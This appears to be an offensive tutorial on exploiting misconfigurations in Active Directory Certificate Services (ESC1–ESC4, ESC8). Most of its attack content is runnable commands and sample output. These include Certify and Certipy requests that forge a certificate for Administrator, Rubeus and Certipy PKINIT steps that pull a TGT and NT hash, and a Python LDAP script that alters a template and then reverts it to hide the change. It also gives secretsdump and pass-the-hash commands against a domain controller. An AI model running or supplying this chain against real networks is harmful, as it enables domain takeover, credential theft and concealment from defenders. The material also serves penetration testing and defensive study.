ADCS Abuse — ESC1 through ESC8

Exploiting Active Directory Certificate Services misconfigurations: Subject Alternative Name injection, template ACL abuse, enrollment agent delegation, and NTLM relay to CA enrollment for persistent domain access via certificates

ADCS Architecture — PKI in Active Directory

ESC1 — Subject Alternative Name Injection

A template is vulnerable to ESC1 when: (1) CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set, (2) the template has a Client Authentication EKU (or Smart Card Logon, PKINIT Client Auth), and (3) low-privilege users have Enroll or AutoEnroll rights. The requestor can specify any SAN, including any username, and the CA issues a certificate for that identity.

# ESC1 exploitation with Certify + Rubeus

# Step 1: Find vulnerable templates
Certify.exe find /vulnerable

# Output identifies templates like:
#   Template: VulnUserTemplate
#   msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
#   msPKI-Enrollment-Flag: INCLUDE_SYMMETRIC_ALGORITHMS
#   pKIExtendedKeyUsage: Client Authentication
#   Enrollment Permissions:
#     Enrollment Rights: Domain Users

# Step 2: Request certificate with SAN = target account
Certify.exe request /ca:CA01.corp.local\corp-CA \
    /template:VulnUserTemplate \
    /altname:Administrator

# Output: certificate.pem (cert + private key in PEM format)

# Step 3: Convert PEM to PFX
openssl pkcs12 -in certificate.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
    -export -out administrator.pfx -password pass:''

# Step 4: Use certificate to get TGT via PKINIT
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /password:'' \
    /domain:corp.local /dc:dc01.corp.local /nowrap

# Output: TGT as base64 .kirbi
# Inject: Rubeus ptt /ticket:<base64_ticket>

# Step 5: Extract NT hash (optional — allows PtH without certificate)
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /password:'' \
    /getcredentials /domain:corp.local

ESC2 — Any Purpose or No EKU Templates

A template with the "Any Purpose" EKU (2.5.29.37.0) or no EKU at all allows the certificate to be used for any authentication purpose. This is subtly different from ESC1 — the SAN may not be attacker-controlled, but the overly broad EKU means a certificate for any identity can be used for client authentication via PKINIT, even if the template was intended only for a non-auth purpose like document signing:

# ESC2: Template has Any Purpose EKU and Enroll rights for Domain Users
Certify.exe find /vulnerable
# Look for: pKIExtendedKeyUsage contains "Any Purpose" or is empty

# If the template also allows SAN → same as ESC1 + Any Purpose
# If no SAN control but template is for ALL users → certificate proves "this domain user"
# The SAN in the issued cert = the requesting user's UPN
# Only useful to get TGTs for accounts you can already authenticate as
# → Lower impact than ESC1, but still misuse of intended purpose

ESC3 — Enrollment Agent Certificate Abuse

An Enrollment Agent certificate allows its holder to request certificates on behalf of other users. If Domain Users can enroll in an "Enrollment Agent" template, then enroll on behalf of any other user in a second "User Enrollment" template:

# ESC3 — two-step enrollment agent abuse

# Step 1: Enroll in the enrollment agent template
# The template has EKU: Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)
Certify.exe request /ca:CA01\corp-CA /template:EnrollmentAgentTemplate

# Step 2: Use enrollment agent certificate to request cert on behalf of Administrator
Certify.exe request /ca:CA01\corp-CA \
    /template:User \
    /onbehalfof:corp\Administrator \
    /enrollcert:enrollment_agent.pfx \
    /enrollcertpw:''

# Now you have a certificate for Administrator
# Use PKINIT to get DA TGT (same as ESC1 final steps)

ESC4 — Template ACL Misconfiguration (Write Access)

If a low-privilege user has Write, GenericWrite, or WriteProperty on a certificate template's ACL, they can modify the template to become vulnerable (add Client Auth EKU, enable SAN, grant themselves Enroll). ESC4 turns an innocuous template into ESC1:

#!/usr/bin/env python3
# Modify a certificate template via LDAP to enable ESC1 conditions
import ldap3

# Connect (as compromised user with WriteProperty on the template)
server = ldap3.Server('dc01.corp.local', port=636, use_ssl=True)
conn = ldap3.Connection(server, user='corp\\compromised_user', password='Password!')
conn.bind()

template_dn = 'CN=CorpUser,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local'

# Modify msPKI-Certificate-Name-Flag to enable ENROLLEE_SUPPLIES_SUBJECT (0x1)
conn.modify(template_dn, {
    'msPKI-Certificate-Name-Flag': [(ldap3.MODIFY_REPLACE, [1])]
})
print(f'Template modification: {conn.result}')

# Grant Domain Users Enroll rights on the template (write the DACL)
# (requires WriteOwner or WriteDACL on the template object)
# Use SharpADWS / dsacls / PowerShell Set-Acl for the DACL modification

# After modification: exploit as ESC1
# Certify.exe request /ca:... /template:CorpUser /altname:Administrator

# CLEANUP: restore original flag after exploitation to hide the modification
conn.modify(template_dn, {
    'msPKI-Certificate-Name-Flag': [(ldap3.MODIFY_REPLACE, [0])]
})

ESC8 — NTLM Relay to HTTP CA Enrollment

ADCS web enrollment (http://ca/certsrv/) accepts NTLM authentication and does not require channel binding by default. Combined with a forced authentication trigger (PetitPotam, PrinterBug, etc.), you can relay a DC's NTLM authentication to ADCS and get a certificate for the DC — then use PKINIT to get the DC's TGT and DCSync:

Enumeration — Finding Vulnerable Templates

# Certify — .NET tool for ADCS enumeration (from Will Schroeder)
Certify.exe find                          # enumerate all templates
Certify.exe find /vulnerable              # only vulnerable templates
Certify.exe find /ca                      # enumerate CAs in the environment
Certify.exe find /clientauth              # templates with Client Auth EKU

# Certipy (Python, works from Linux)
certipy find -u user@corp.local -p Password! -dc-ip 10.10.10.1
certipy find -u user@corp.local -p Password! -dc-ip 10.10.10.1 -vulnerable -stdout

# LDAP manual check for ESC1 templates:
# Filter: msPKI-Certificate-Name-Flag & 0x1 = 1 (ENROLLEE_SUPPLIES_SUBJECT)
ldapsearch -H ldaps://dc01.corp.local -D user@corp.local -w Password! \
    -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
    "(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)" \
    sAMAccountName msPKI-Certificate-Name-Flag pKIExtendedKeyUsage

# Key template attributes to check:
# msPKI-Certificate-Name-Flag: 0x1 = ENROLLEE_SUPPLIES_SUBJECT (ESC1)
# msPKI-RA-Signature: 0 = no enrollment agent required (ESC3 if EKU is RA)
# pkiExtendedKeyUsage: list of EKU OIDs
# nTSecurityDescriptor: who has Enroll, AutoEnroll, WriteProperty

PKINIT — Using Certificates to Get TGTs

# Certipy — ESC1 in one command
certipy req -u user@corp.local -p Password! \
    -ca corp-CA -template VulnTemplate \
    -upn Administrator@corp.local \
    -dc-ip 10.10.10.1

# Output: administrator.pfx

# Get TGT from certificate (PKINIT)
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

# Output:
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889

# Use ccache ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass dc01.corp.local

# Or use the NT hash directly with Pass-the-Hash
wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 Administrator@dc01.corp.local

Certificate-Based Persistence

Detection

Q&A